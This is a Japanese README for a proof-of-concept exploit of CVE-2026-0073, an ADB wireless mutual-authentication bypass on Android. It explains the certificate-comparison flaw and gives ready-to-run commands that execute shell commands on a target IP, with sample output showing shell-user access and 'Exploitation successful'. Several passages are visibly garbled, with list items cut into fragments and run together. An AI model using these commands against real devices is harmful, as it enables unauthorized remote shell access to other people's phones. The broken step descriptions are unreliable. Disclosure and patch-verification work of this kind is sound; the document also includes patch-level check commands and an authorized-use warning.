
CVE-2026-0073 - ADBワイヤレス相互認証バイパスPoC
このディレクトリには、CVE-2026-0073 用の Python 概念実証コードが含まれています。
このスクリプトは、AI 支援によるコード生成技術を用いて作成されています。
CVE-2026-0073 は、ADB デーモンの証明書検証(auth.cpp 内の adbd_tls_verify_cert)におけるロジック上の問題です。
この脆弱なチェックでは、EVP_PKEY_cmp(...) の戻り値がゼロ以外であれば、すべて成功した一致として扱われます。
期待される比較結果の処理は以下のとおりです。
1 = 鍵が一致0 = 鍵が一致しない脆弱なビルドでは、負の値が真として扱われ、証明書が誤って承認済みと判定される可能性があります。
poc-cve-2026-0073.py の動作このスクリプトは以下の処理を行います。
ec または ed25519)を作成します。shell:、フォールバックとして exec:)。cryptography パッケージ依存関係のインストール:
pip install cryptography
対象の ADB サービスを検出する場合(必要に応じて):
adb mdns services
PoC を実行:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
引数:
target_ip: 対象 Android デバイスの IP アドレスport: ADB ポート(デフォルト: 5555)command: 実行するコマンド(デフォルト: id)key_type: ec または ed25519(デフォルト: ec)--verbose: プロトコルのデバッグログを有効化例:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
応答待ちのタイムアウト
--verbose を指定して再試行してください。ベース OS のセキュリティパッチレベルと Mainline モジュールのパッチ適用状況は異なる場合があります。 デバイスが古い月次 SPL を表示していても、新しい ADB モジュールの修正が適用されている可能性があります。
確認に役立つコマンド:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
この PoC は、許可された環境(所有するラボデバイス、明示的な許可、または認定されたテスト)でのみ使用してください。 所有していないシステムや、書面によるテスト許可がないシステムに対して実行しないでください。
daemon/auth.cpp)